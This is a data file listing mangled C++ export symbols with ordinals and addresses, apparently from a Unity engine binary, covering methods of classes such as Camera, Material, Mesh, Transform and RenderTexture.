?SetClearStencilAfterLightingPass@Camera@@QAEX_N@Z	2237	0x417ea0
?SetCloth@SkinnedMeshRenderer@@QAEXPAVCloth@Unity@@@Z	2238	0x4b6720
?SetColor@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@ABVColorRGBAf@@@Z	2239	0x646b40
?SetColorFormat@RenderTexture@@QAEXW4RenderTextureFormat@@@Z	2240	0x516240
?SetColorIndexed@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@HM@Z	2241	0x646c10
?SetColors@Mesh@@QAEXPBVColorRGBA32@@I@Z	2242	0x4c9060
?SetColors@Mesh@@QAEXPBVColorRGBAf@@I@Z	2243	0x4c91f0
?SetColumn@Matrix4x4f@@QAEXHABVVector4f@@@Z	2244	0x405fb0
?SetComponentAtIndexInternal@GameObject@Unity@@QAEXV?$PPtr@VComponent@Unity@@@@H@Z	2245	0x4115d0
?SetComputeBuffer@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@UComputeBufferID@@@Z	2246	0x6471b0
?SetCreatedFromScript@RenderTexture@@QAEX_N@Z	2247	0x4179d0
?SetCullingMask@Camera@@QAEXI@Z	2248	0x453db0
?SetCurrentTargetTexture@Camera@@QAEXPAVRenderTexture@@@Z	2249	0x417e60
?SetCurrentThreadProcessor@Thread@@SAXH@Z	2250	0x654200
?SetCustomPropertiesShared@BaseRenderer@@QAEXPAVMaterialPropertyBlock@@@Z	2251	0x4176d0
?SetCustomReflection@RenderSettings@@QAEXPAVCubemap@@@Z	2252	0x48ad50
?SetCustomRenderQueue@Material@Unity@@QAEXH@Z	2253	0x643fa0
?SetDefaultReflectionMode@RenderSettings@@QAEXW4DefaultReflectionMode@1@@Z	2254	0x48ac10
?SetDefaultReflectionResolution@RenderSettings@@QAEXH@Z	2255	0x4892e0
?SetDepth@Camera@@QAEXM@Z	2256	0x455490
?SetDepthFormat@RenderTexture@@QAEXW4DepthBufferFormat@@@Z	2257	0x5161d0
?SetDepthTextureMode@Camera@@QAEXI@Z	2258	0x417e80
?SetDimension@RenderTexture@@QAEXW4TextureDimension@@@Z	2259	0x515b70
?SetDirty@Object@@QAEXXZ	2260	0x554fb0
?SetDisableImmediateDestruction@@YAX_N@Z	2261	0x406d50
?SetDistanceSortPriority@MeshIntermediateRendererWithDistanceSortingOrder@@QAEXG@Z	2262	0x453140
?SetEnableRandomWrite@RenderTexture@@QAEX_N@Z	2263	0x515ea0
?SetEnabled@Behaviour@@UAEX_N@Z	2264	0x5232e0
?SetEnabled@RenderTexture@@SAX_N@Z	2265	0x518290
?SetEnabled@Renderer@@QAEX_N@Z	2266	0x5133a0
?SetEventMask@Camera@@QAEXI@Z	2267	0x453dc0
?SetFar@Camera@@QAEXM@Z	2268	0x453d00
?SetFilterMode@Texture@@QAEXH@Z	2269	0x55f500
?SetFlareFadeSpeed@RenderSettings@@QAEXM@Z	2270	0x48add0
?SetFlareStrength@RenderSettings@@QAEXM@Z	2271	0x48adb0
?SetFloat@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@M@Z	2272	0x646d80
?SetFogColor@RenderSettings@@QAEXABVColorRGBAf@@@Z	2273	0x489730
?SetFogDensity@RenderSettings@@QAEXM@Z	2274	0x4897b0
?SetFogMode@RenderSettings@@QAEXW4FogMode@@@Z	2275	0x489790
?SetFov@Camera@@QAEXM@Z	2276	0x453cc0
?SetFromToRotation@Matrix3x3f@@QAEAAV1@ABVVector3f@@0@Z	2277	0x59e010
?SetFromToRotation@Matrix4x4f@@QAEAAV1@ABVVector3f@@0@Z	2278	0x59f960
?SetFrustum@Matrix4x4f@@QAEAAV1@MMMMMM@Z	2279	0x59f270
?SetGameObjectInternal@Component@Unity@@QAEXPAVGameObject@2@@Z	2280	0x4010c0
?SetGenerateIDFunctor@RemapPPtrTransfer@@QAEXPAVGenerateIDFunctor@@@Z	2281	0xbf6b20
?SetGenerateMips@RenderTexture@@QAEX_N@Z	2282	0x515d20
?SetGeneratedSkyboxReflection@RenderSettings@@QAEXPAVCubemap@@@Z	2283	0x48ac70
?SetGlobalAnisoLimits@Texture@@SAXHH@Z	2284	0x55fde0
?SetGlobalIlluminationFlags@Material@Unity@@QAEXW4MaterialGlobalIlluminationFlags@@@Z	2285	0x643eb0
?SetGlobalLayeringData@BaseRenderer@@QAEXUGlobalLayeringData@@@Z	2286	0x417700
?SetGlobalProperty@RenderTexture@@QAEPAVTexEnv@ShaderLab@@ABUFastPropertyName@3@@Z	2287	0x5162f0
?SetHDR@Camera@@QAEX_N@Z	2288	0x417ba0
?SetHaloStrength@RenderSettings@@QAEXM@Z	2289	0x48adf0
?SetHeight@RenderTexture@@QAEXH@Z	2290	0x516120
?SetHideFlags@GameObject@Unity@@UAEXH@Z	2291	0x40eae0
?SetHideFlags@Object@@UAEXH@Z	2292	0x405ad0
?SetHideFlagsObjectOnly@Object@@QAEXH@Z	2293	0x405ad0
?SetHideFromRuntimeStats@Mesh@@QAEX_N@Z	2294	0x445880
?SetIAnimation@@YAXPAVIAnimation@@@Z	2295	0x59ad60
?SetIAnimationStateNetworkProvider@@YAXPAVIAnimationStateNetworkProvider@@@Z	2296	0x59ad40
?SetIApplication@@YAXPAVIApplication@@@Z	2297	0x59ad80
?SetIAudio@@YAXPAVIAudio@@@Z	2298	0x59b480
?SetIClusterRenderer@@YAXPAVIClusterRenderer@@@Z	2299	0x59b4c0
?SetIEnlighten@@YAXPAVIEnlighten@@@Z	2300	0x59ada0
?SetINetwork@@YAXPAVINetwork@@@Z	2301	0x59b4f0
?SetIPhysics@@YAXPAVIPhysics@@@Z	2302	0x59ade0
?SetITerrainManager@@YAXPAVITerrainManager@@@Z	2303	0x59b440
?SetITerrainPhysics@@YAXPAVITerrainPhysics@@@Z	2304	0x59b460
?SetIUmbra@@YAXPAVIUmbra@@@Z	2305	0x59b4a0
?SetIVRDevice@@YAXPAVIVRDevice@@@Z	2306	0x59b530
?SetIdentity@Matrix3x3f@@QAEAAV1@XZ	2307	0x59ca50
?SetIdentity@Matrix4x4f@@QAEAAV1@XZ	2308	0x59e990
?SetIndexData@Mesh@@AAEXHHPBXW4GfxPrimitiveType@@H@Z	2309	0x4cad70
?SetIndices@Mesh@@QAE_NPBGIIW4GfxPrimitiveType@@@Z	2310	0x4cda00
?SetIndices@Mesh@@QAE_NPBIIIW4GfxPrimitiveType@@@Z	2311	0x4cd9e0
?SetIndicesComplex@Mesh@@QAE_NPBXIIW4GfxPrimitiveType@@H@Z	2312	0x4cc370
?SetInstanceID@Object@@AAEXH@Z	2313	0xbf6b10
?SetInstanceIDOnScriptingWrapper@Scripting@@YAXPAUMonoObject@@H@Z	2314	0xfdb830
?SetInstantiatedMesh@MeshFilter@@QAEXPAVMesh@@@Z	2315	0x4d25d0
?SetIsPersistent@Object@@AAEX_N@Z	2316	0x406c00
?SetIsReadable@Mesh@@QAEX_N@Z	2317	0x4458d0
?SetIsReadable@Texture2D@@QAEX_N@Z	2318	0x40d4e0
?SetIsStaticDeprecated@GameObject@Unity@@QAEX_N@Z	2319	0x5b1110
?SetIsUnreloadable@Texture2D@@QAEX_N@Z	2320	0x4179d0
?SetKeepIndices@Mesh@@QAEX_N@Z	2321	0x445910
?SetKeepVertices@Mesh@@QAEX_N@Z	2322	0x4458f0
?SetLODGroup@Renderer@@QAEXPAVLODGroup@@@Z	2323	0x4178b0
?SetLayer@GameObject@Unity@@QAEXH@Z	2324	0x40f5c0
?SetLayerCullDistances@Camera@@QAEXPAM@Z	2325	0x417db0
?SetLayerCullSpherical@Camera@@QAEX_N@Z	2326	0x417de0
?SetLeft@?$RectT@M@@QAEXM@Z	2327	0x58c9a0
?SetLightmapIndexInt@Renderer@@QAEXHW4LightmapType@@@Z	2328	0x5138a0
?SetLightmapIndexIntNoDirty@BaseRenderer@@QAEXHW4LightmapType@@@Z	2329	0x452f90
?SetLightmapST@Renderer@@QAEXABVVector4f@@W4LightmapType@@@Z	2330	0x512ac0
?SetLightmapSTNoDirty@BaseRenderer@@QAEXABVVector4f@@W4LightmapType@@@Z	2331	0x452de0
?SetLinearFogEnd@RenderSettings@@QAEXM@Z	2332	0x4897f0
?SetLinearFogStart@RenderSettings@@QAEXM@Z	2333	0x4897d0
?SetList@ListElement@@AAEXPAX@Z	2334	0x5b1110
?SetLocalAABB@Mesh@@QAEXABVAABB@@@Z	2335	0x445980
?SetLocalAABB@SkinnedMeshRenderer@@QAEXABVAABB@@@Z	2336	0x4b6ed0
?SetLocalEulerAngles@Transform@@QAEXABVVector3f@@@Z	2337	0x56e320
?SetLocalPosition@Transform@@QAEXABVVector3f@@@Z	2338	0x56b350
?SetLocalPositionAndRotation@Transform@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2339	0x56ca00
?SetLocalPositionOnCompareWithoutNotification@Transform@@QAEXABVVector3f@@@Z	2340	0x566ff0
?SetLocalPositionWithoutNotification@Transform@@QAEXABVVector3f@@@Z	2341	0x40e480
?SetLocalRotation@Transform@@QAEXABVQuaternionf@@@Z	2342	0x56b3c0
?SetLocalRotationOnCompareWithoutNotification@Transform@@QAEXABVQuaternionf@@@Z	2343	0x567ae0
?SetLocalRotationSafe@Transform@@QAEXABVQuaternionf@@@Z	2344	0x56b450
?SetLocalRotationWithoutNotification@Transform@@QAEXABVQuaternionf@@@Z	2345	0x40e450
?SetLocalScale@Transform@@QAEXABVVector3f@@@Z	2346	0x56c5f0
?SetLocalScaleOnCompareWithoutNotification@Transform@@QAEXABVVector3f@@@Z	2347	0x56ca40
?SetLocalScaleWithoutNotification@Transform@@QAEXABVVector3f@@@Z	2348	0x40e4b0
?SetLocalTRS@Transform@@QAEXABVVector3f@@ABVQuaternionf@@0@Z	2349	0x56cf30
?SetMasterTextureLimit@Texture@@SAXH_N@Z	2350	0x55ffb0
?SetMaterial@Renderer@@QAEXV?$PPtr@VMaterial@Unity@@@@H@Z	2351	0x512fe0
?SetMaterialArray@Renderer@@QAEXABU?$dynamic_array@V?$PPtr@VMaterial@Unity@@@@$03@@ABU?$dynamic_array@I$03@@@Z	2352	0x5137d0
?SetMaterialCount@Renderer@@QAEXH@Z	2353	0x5138f0
?SetMatrix@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@ABVMatrix4x4f@@@Z	2354	0x646ef0
?SetMemoryLabel@TransferBase@@QAEXUMemLabelId@@@Z	2355	0x92ec70
?SetMesh@SkinnedMeshRenderer@@QAEXPAVMesh@@@Z	2356	0x4baf60
?SetMeshCompression@Mesh@@QAEXE@Z	2357	0x4458c0
?SetMipMap@RenderTexture@@QAEX_N@Z	2358	0x515ca0
?SetMipMapBias@Texture@@QAEXM@Z	2359	0x55f5c0
?SetName@Component@Unity@@UAEXPBD@Z	2360	0x40ed20
?SetName@GameObject@Unity@@UAEXPBD@Z	2361	0x40e4e0
?SetName@NamedObject@@UAEXPBD@Z	2362	0x417260
?SetName@Object@@UAEXPBD@Z	2363	0x5b1110
?SetName@Thread@@QAEXPBD@Z	2364	0x4010c0
?SetNameCpp@Object@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	2365	0x407dd0
?SetNear@Camera@@QAEXM@Z	2366	0x453ce0
?SetNormalizedViewportRect@Camera@@QAEXABV?$RectT@M@@@Z	2367	0x45c510
?SetNormals@Mesh@@QAEXPBVVector3f@@I@Z	2368	0x4c8ba0
?SetOpaqueSortMode@Camera@@QAEXW4OpaqueSortMode@1@@Z	2369	0x417e00
?SetOrtho@Matrix4x4f@@QAEAAV1@MMMMMM@Z	2370	0x59f110
?SetOrthographic@Camera@@QAEX_N@Z	2371	0x453d40
?SetOrthographicSize@Camera@@QAEXM@Z	2372	0x453d20
?SetOverrideTag@Material@Unity@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@0@Z	2373	0x646430
?SetOverrideTag@Material@Unity@@QAEXHH@Z	2374	0x645bc0
?SetParent@Transform@@QAE_NPAV1@W4SetParentOption@1@@Z	2375	0x56f2a0
?SetParentInternal@Transform@@QAEXPAV1@@Z	2376	0x56f1c0
?SetPass@Material@Unity@@QAEPBVChannelAssigns@@HAAUShaderPassContext@ShaderLab@@H_N@Z	2377	0x647c80
?SetPassWithShader@Material@Unity@@QAEPBVChannelAssigns@@HPAVShader@@AAUShaderPassContext@ShaderLab@@H@Z	2378	0x647f30
?SetPerspective@Matrix4x4f@@QAEAAV1@MMMM@Z	2379	0x5a0900
?SetPerspective@Matrix4x4f@@QAEAAV1@MMMMMM@Z	2380	0x59ef30
?SetPerspectiveCotan@Matrix4x4f@@QAEAAV1@MMM@Z	2381	0x59f050
?SetPixel@Texture2D@@QAEXHHHABVColorRGBAf@@@Z	2382	0x562180
?SetPixels32@Texture2D@@QAEXHHHHHPBVColorRGBA32@@@Z	2383	0x562360
?SetPixels32@Texture2D@@QAEXHPBVColorRGBA32@@H@Z	2384	0x5622e0
?SetPixels@Texture2D@@QAEXHHHHHPBVColorRGBAf@@HH@Z	2385	0x5615d0
?SetPosition@Matrix4x4f@@QAEXABVVector3f@@@Z	2386	0x405f60
?SetPosition@Transform@@QAEXABVVector3f@@@Z	2387	0x56c090
?SetPositionAndOrthoNormalBasis@Matrix4x4f@@QAEAAV1@ABVVector3f@@000@Z	2388	0x59eaf0
?SetPositionAndRotation@Transform@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2389	0x56e560
?SetPositionAndRotationSafe@Transform@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2390	0x56e570
?SetPositionAndRotationSafeWithoutNotification@Transform@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2391	0x56e550
?SetPositionAndRotationWithoutNotification@Transform@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2392	0x56e540
?SetPositionWithLocalOffset@Transform@@QAEXABVVector3f@@0@Z	2393	0x56c140
?SetPositionWithoutNotification@Transform@@QAEXABVVector3f@@@Z	2394	0x56c670
?SetPostInfinity@?$AnimationCurveTpl@M@@QAEXH@Z	2395	0x5a8210
?SetPostInfinity@?$AnimationCurveTpl@VQuaternionf@@@@QAEXH@Z	2396	0x5a8520
?SetPostInfinity@?$AnimationCurveTpl@VVector3f@@@@QAEXH@Z	2397	0x5a8410
?SetPostInfinityInternal@?$AnimationCurveTpl@VQuaternionf@@@@QAEXH@Z	2398	0x4bb310
?SetPreInfinity@?$AnimationCurveTpl@M@@QAEXH@Z	2399	0x5a81a0
?SetPreInfinity@?$AnimationCurveTpl@VQuaternionf@@@@QAEXH@Z	2400	0x5a84b0
?SetPreInfinity@?$AnimationCurveTpl@VVector3f@@@@QAEXH@Z	2401	0x5a83a0
?SetPreInfinityInternal@?$AnimationCurveTpl@VQuaternionf@@@@QAEXH@Z	2402	0x4bb2f0
?SetPriority@Thread@@QAEXW4ThreadPriority@@@Z	2403	0x6541d0
?SetProbeAnchor@BaseRenderer@@QAEXABV?$PPtr@VTransform@@@@@Z	2404	0x4181c0
?SetProbeAnchor@Renderer@@QAEXABV?$PPtr@VTransform@@@@@Z	2405	0x4183e0
?SetProjectionMatrix@Camera@@QAEXABVMatrix4x4f@@@Z	2406	0x453be0
?SetPropertiesDirty@Material@Unity@@QAEXXZ	2407	0x417fe0
?SetPropertyBlock@IntermediateRenderer@@QAEXABVMaterialPropertyBlock@@@Z	2408	0x456400
?SetPropertyBlock@Renderer@@QAEXABVMaterialPropertyBlock@@@Z	2409	0x513540
?SetQuality@SkinnedMeshRenderer@@QAEXH@Z	2410	0x4b6ec0
?SetRaycastInterface@@YAXPAVIRaycast@@@Z	2411	0x59ae20
?SetReceiveShadows@Renderer@@QAEX_N@Z	2412	0x417860
?SetReduceCopy@BlobWrite@@QAEX_N@Z	2413	0x5c9020
?SetReflectionBounces@RenderSettings@@QAEXH@Z	2414	0x4892c0
?SetReflectionIntensity@RenderSettings@@QAEXM@Z	2415	0x48acd0
?SetReflectionProbeUsage@BaseRenderer@@QAEXW4ReflectionProbeUsage@@@Z	2416	0x518fb0
?SetReflectionProbeUsage@Renderer@@QAEXW4ReflectionProbeUsage@@@Z	2417	0x4178a0
?SetRenderingPath@Camera@@QAEXH@Z	2418	0x417bc0
?SetReplacementShader@Camera@@QAEXPAVShader@@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	2419	0x4569b0
?SetResetCalledInternal@Object@@QAEXXZ	2420	0x554fb0
?SetRight@?$RectT@H@@QAEXH@Z	2421	0x45d4c0
?SetRight@?$RectT@M@@QAEXM@Z	2422	0x43cbe0
?SetRootBone@SkinnedMeshRenderer@@QAEXPAVTransform@@@Z	2423	0x4b6890
?SetRootBonePathHash@Mesh@@QAEXI@Z	2424	0x445950
?SetRootHeader@MemLabelId@@QAEXPAUProfilerAllocationHeader@@@Z	2425	0x5b1110
?SetRotation@Transform@@QAEXABVQuaternionf@@@Z	2426	0x56b610
?SetRotationSafe@Transform@@QAEXABVQuaternionf@@@Z	2427	0x56ba30
?SetRotationWithoutNotification@Transform@@QAEXABVQuaternionf@@@Z	2428	0x56c6c0
?SetRow@Matrix4x4f@@QAEXHABVVector4f@@@Z	2429	0x405f80
?SetSRGBReadWrite@RenderTexture@@QAEX_N@Z	2430	0x515dc0
?SetSampleOnlyDepth@RenderTexture@@QAEX_N@Z	2431	0x40e3c0
?SetScale@Matrix3x3f@@QAEAAV1@ABVVector3f@@@Z	2432	0x59cb70
?SetScale@Matrix4x4f@@QAEAAV1@ABVVector3f@@@Z	2433	0x59eb70
?SetScreenViewportRect@Camera@@QAEXABV?$RectT@M@@@Z	2434	0x45c550
?SetScriptingObject@ProxyTransfer@@QAEXPAXH@Z	2435	0x414700
?SetSecurityPolicyAllowAccess@Texture2D@@QAEX_N@Z	2436	0x40d530
?SetSeed@Rand@@QAEXI@Z	2437	0x49cf00
?SetSelfActive@GameObject@Unity@@QAEX_N@Z	2438	0x40fae0
?SetShader@Material@Unity@@QAEXPAVShader@@@Z	2439	0x646330
?SetShaderKeywordNames@Material@Unity@@QAEXABV?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@2@@std@@@Z	2440	0x644da0
?SetShaderKeywords@Material@Unity@@QAEXABUShaderKeywordSet@@@Z	2441	0x644160
?SetShaderKeywords@Material@Unity@@QAEXABVUnityStr@@@Z	2442	0x644460
?SetShadowCasterPass@Material@Unity@@QAEPBVChannelAssigns@@HAAUShaderPassContext@ShaderLab@@@Z	2443	0x647ff0
?SetShadowCasterPassWithShader@Material@Unity@@QAEPBVChannelAssigns@@PAVShader@@AAUShaderPassContext@ShaderLab@@H@Z	2444	0x648910
?SetShadowCastingMode@Renderer@@QAEXW4ShadowCastingMode@@@Z	2445	0x417850
?SetSharedMesh@MeshFilter@@QAEXV?$PPtr@VMesh@@@@@Z	2446	0x4d24e0
?SetSiblingIndex@Transform@@QAEXH@Z	2447	0x40e430
?SetSiblingIndexInternal@Transform@@QAEXH_N@Z	2448	0x56fcb0
?SetSkyboxMaterial@RenderSettings@@QAEXPAVMaterial@Unity@@@Z	2449	0x48b260
?SetSortingLayerID@Renderer@@QAEXH@Z	2450	0x513030
?SetSortingLayerName@Renderer@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	2451	0x513ad0
?SetSortingOrder@Renderer@@QAEXF@Z	2452	0x513080
?SetStaticBatchRoot@Renderer@@QAEXV?$PPtr@VTransform@@@@@Z	2453	0x4183d0
?SetStereoConvergence@Camera@@QAEXM@Z	2454	0x417f10
?SetStereoMirrorMode@Camera@@QAEX_N@Z	2455	0x417ec0
?SetStereoSeparation@Camera@@QAEXM@Z	2456	0x417ee0
?SetStoredColorSpace@Texture@@QAEXW4TextureColorSpace@@@Z	2457	0x55f540
?SetStoredColorSpaceNoDirtyNoApply@Texture@@QAEXW4TextureColorSpace@@@Z	2458	0x55f570
?SetSubMeshCount@Mesh@@QAEXI_N@Z	2459	0x4caf00
?SetSubsetIndex@Renderer@@UAEXHH@Z	2460	0x5136f0
?SetSupportedMessagesDirty@GameObject@Unity@@QAEXXZ	2461	0x40f3a0
?SetTR@Matrix4x4f@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2462	0x59fa10
?SetTRInverse@Matrix4x4f@@QAEXABVVector3f@@ABVQuaternionf@@@Z	2463	0x59fb70
?SetTRS@Matrix4x4f@@QAEXABVVector3f@@ABVQuaternionf@@0@Z	2464	0x59fa40
?SetTag@GameObject@Unity@@QAEXI@Z	2465	0x40fb00
?SetTangents@Mesh@@QAEXPBVVector4f@@I@Z	2466	0x4c8cc0
?SetTargetBuffers@Camera@@QAEXHPAU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@U2@PAVRenderTexture@@@Z	2467	0x45be20
?SetTargetBuffersScript@Camera@@QAEXHPBUScriptingRenderBuffer@@PAU2@@Z	2468	0x45be40
?SetTargetDisplay@Camera@@QAEXI@Z	2469	0x417f30
?SetTargetTexture@Camera@@QAEXPAVRenderTexture@@@Z	2470	0x45c1d0
?SetTargetTextureBuffers@Camera@@AAEXPAVRenderTexture@@HPAU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@U3@0@Z	2471	0x45bc80
?SetTemporarilyAllowIndieRenderTexture@RenderTexture@@SAX_N@Z	2472	0x5156a0
?SetTemporaryFlags@Object@@QAEXH@Z	2473	0x405af0
?SetTemporarySettings@Camera@@QAEXABUCameraTemporarySettings@@@Z	2474	0x453c80
?SetTexelSize@Texture@@QAEXMM@Z	2475	0x40d3d0
?SetTexture@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@PAVTexture@@@Z	2476	0x646f70
?SetTextureOffset@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@ABVVector2f@@@Z	2477	0x647040
?SetTextureScale@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@ABVVector2f@@@Z	2478	0x6470c0
?SetTextureScaleAndOffsetIndexed@Material@Unity@@QAEXUFastPropertyName@ShaderLab@@HM@Z	2479	0x647140
?SetThreadPriority@JobQueue@@QAEXH@Z	2480	0x6531e0
?SetTop@?$RectT@M@@QAEXM@Z	2481	0x58c9e0
?SetTranslate@Matrix4x4f@@QAEAAV1@ABVVector3f@@@Z	2482	0x59eec0
?SetTransparencySortMode@Camera@@QAEXW4TransparencySortMode@1@@Z	2483	0x417e40
?SetUVScale@Texture@@QAEXMM@Z	2484	0x40d3a0
?SetUpdateWhenOffscreen@SkinnedMeshRenderer@@QAEX_N@Z	2485	0x4b7340
?SetUsageMode@Texture@@QAEXW4TextureUsageMode@@@Z	2486	0x55f520
?SetUsageModeNoDirtyNoApply@Texture@@QAEXW4TextureUsageMode@@@Z	2487	0x55f560
?SetUseFog@RenderSettings@@QAEX_N@Z	2488	0x489770
?SetUseFogNoDirty@RenderSettings@@QAEX_N@Z	2489	0x489770
?SetUseLightProbes@Renderer@@QAEX_N@Z	2490	0x417880
?SetUseOcclusionCulling@Camera@@QAEX_N@Z	2491	0x417ce0
?SetUserData@TransferBase@@QAEXPAX@Z	2492	0xbf6b10
?SetUv@Mesh@@QAEXHPBMII@Z	2493	0x4c8df0
?SetUv@Mesh@@QAEXHPBVVector2f@@I@Z	2494	0x4caa20
?SetVR@RenderTexture@@QAEX_N@Z	2495	0x515e50
?SetVersion@ProxyTransfer@@QAEXH@Z	2496	0x623d70
?SetVersion@SafeBinaryRead@@QAEXH@Z	2497	0x6241d0
?SetVersion@TransferBase@@QAEXH@Z	2498	0x5b1110
?SetVertexColorsSwizzled@Mesh@@QAEX_N@Z	2499	0x445830
?SetVertexData@Mesh@@QAEXPBXIIIH@Z	2500	0x4c89e0
?SetVertices@Mesh@@QAEXPBVVector3f@@I@Z	2501	0x4cc040
?SetVisible@Renderer@@QAEX_N@Z	2502	0x5131d0
?SetVolumeDepth@RenderTexture@@QAEXH@Z	2503	0x515bc0
?SetWidth@RenderTexture@@QAEXH@Z	2504	0x516070
?SetWorldRotationAndScale@Transform@@QAEXABVMatrix3x3f@@@Z	2505	0x56c4c0
?SetWorldRotationAndScaleWithoutNotification@Transform@@AAEXABVMatrix3x3f@@@Z	2506	0x56c390
?SetWorldToCameraMatrix@Camera@@QAEXABVMatrix4x4f@@@Z	2507	0x453bb0
?SetWrapMode@Texture@@QAEXH@Z	2508	0x55f580
?SetZero@Matrix3x3f@@QAEAAV1@XZ	2509	0x59ca90
?Setup@SkinnedMeshRenderer@@QAEXPAVMesh@@ABU?$dynamic_array@V?$PPtr@VTransform@@@@$03@@@Z	2510	0x4baee0
?SetupAmbient@RenderSettings@@QBEXXZ	2511	0x488e80
?SetupRender@Camera@@QAEXAAUShaderPassContext@ShaderLab@@ABUCameraRenderingParams@@H@Z	2512	0x45a400
?SetupRender@Camera@@QAEXAAUShaderPassContext@ShaderLab@@H@Z	2513	0x45c3d0
?SetupSortingOverride@Renderer@@QAEXXZ	2514	0x512b50
?SetupWeakHandle@Object@@QAEXXZ	2515	0x406c20
?ShaderHasErrors@Material@Unity@@QBE_NXZ	2516	0xd153d0
?ShouldBeInScene@Renderer@@IBE_NXZ	2517	0x418450
?ShouldIgnoreInGarbageDependencyTracking@Mesh@@UAE_NXZ	2518	0x5c9040
?ShouldIgnoreInGarbageDependencyTracking@Object@@UAE_NXZ	2519	0xd153d0
?ShouldIgnoreInGarbageDependencyTracking@Texture@@UAE_NXZ	2520	0x5c9040
?ShouldRecalculateBoundingVolumeEveryFrame@SkinnedMeshRenderer@@IAE_NXZ	2521	0x4b6770
?ShouldWriteForBuild@LevelGameManager@@UBE_NXZ	2522	0x5c9040
?Shutdown@JobQueue@@QAEXW4ShutdownMode@1@@Z	2523	0x653220
?SignalQuit@Thread@@QAEXXZ	2524	0x6541f0
?SkinMesh@SkinnedMeshRenderer@@QAEXPAUSkinMeshInfo@@_NAAVGfxDevice@@PAUGeometryJobInstruction@@AAH@Z	2525	0x4b70e0
?SkinMeshImmediate@SkinnedMeshRenderer@@QAE_NXZ	2526	0x4b9d10
?Sleep@Thread@@SAXN@Z	2527	0x6541b0
?Slerp@@YA?AVQuaternionf@@ABV1@0M@Z	2528	0x5a35c0
?SmartReset@Object@@UAEXXZ	2529	0x554fb0
?SmartReset@Renderer@@UAEXXZ	2530	0x513a00
?SmartResetObject@@YAXAAVObject@@@Z	2531	0x5c5c50
?Sort@?$AnimationCurveTpl@M@@QAEXXZ	2532	0x722f10
?StandaloneCull@Camera@@QAEXPAVShader@@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAUCullResults@@@Z	2533	0x45c410
?StandaloneRender@Camera@@QAEXIPAVShader@@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	2534	0x45c6b0
?StandaloneRenderToCubemap@Camera@@QAE_NPAVTexture@@HP6AXPBUSceneNode@@PBVAABB@@AAUIndexList@@PAX@Z4@Z	2535	0x45c860
?StandaloneSetup@Camera@@QAEXAAUShaderPassContext@ShaderLab@@@Z	2536	0x45b680
?StaticDestroy@MemoryPool@@SAXPAX@Z	2537	0x663dc0
?StaticDestroy@MeshIntermediateRenderer@@SAXPAX@Z	2538	0x4697d0
?StaticDestroy@MeshIntermediateRendererWithDistanceSortingOrder@@SAXPAX@Z	2539	0x469860
?StaticDestroy@Object@@SAXXZ	2540	0x409d10
?StaticDestroy@SpriteIntermediateRenderer@@SAXPAX@Z	2541	0x4698c0
?StaticInitialize@MemoryPool@@SAXPAX@Z	2542	0x663ac0
?StaticInitialize@MeshIntermediateRenderer@@SAXPAX@Z	2543	0x4692f0
?StaticInitialize@MeshIntermediateRendererWithDistanceSortingOrder@@SAXPAX@Z	2544	0x4693b0
?StaticInitialize@Object@@SAXXZ	2545	0x40c1a0
?StaticInitialize@SpriteIntermediateRenderer@@SAXPAX@Z	2546	0x469410
?Steal@JobQueue@@AAEHPAVJobGroup@@PAUJobInfo@@HH@Z	2547	0x652d10
?StringToClassID@Object@@SAHABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	2548	0x409470
?StringToClassID@Object@@SAHPBD@Z	2549	0x4094b0
?StringToClassIDCaseInsensitive@Object@@SAHABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	2550	0x40b300
?Stripify@@YA_NPBIHAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@@Z	2551	0x571860
?SupportedMessagesDidChange@Component@Unity@@UAEXH@Z	2552	0x5b1110
?SupportedMessagesDidChange@Renderer@@MAEXH@Z	2553	0x513000
?SupportedMessagesDidChange@Transform@@UAEXH@Z	2554	0x567220
?SwapBlendShapeData@Mesh@@QAEXAAUBlendShapeData@@@Z	2555	0x4ce790
?SwapComponents@GameObject@Unity@@QAEXHH@Z	2556	0x40f920
?SwizzleVertexColorsIfNeeded@Mesh@@QAEX_N@Z	2557	0x4c21c0
?TestHideFlag@Object@@QBE_NH@Z	2558	0x405a90
?TestHideFlagAny@Object@@QBE_NH@Z	2559	0x405ab0
?ThreadedCleanup@Behaviour@@IAEXXZ	2560	0x554fb0
?ThreadedCleanup@Camera@@IAEXXZ	2561	0x456430
?ThreadedCleanup@Component@Unity@@IAEXXZ	2562	0x554fb0
?ThreadedCleanup@EditorExtension@@IAEXXZ	2563	0x554fb0
?ThreadedCleanup@GameManager@@IAEXXZ	2564	0x554fb0
?ThreadedCleanup@GameObject@Unity@@IAEXXZ	2565	0x554fb0
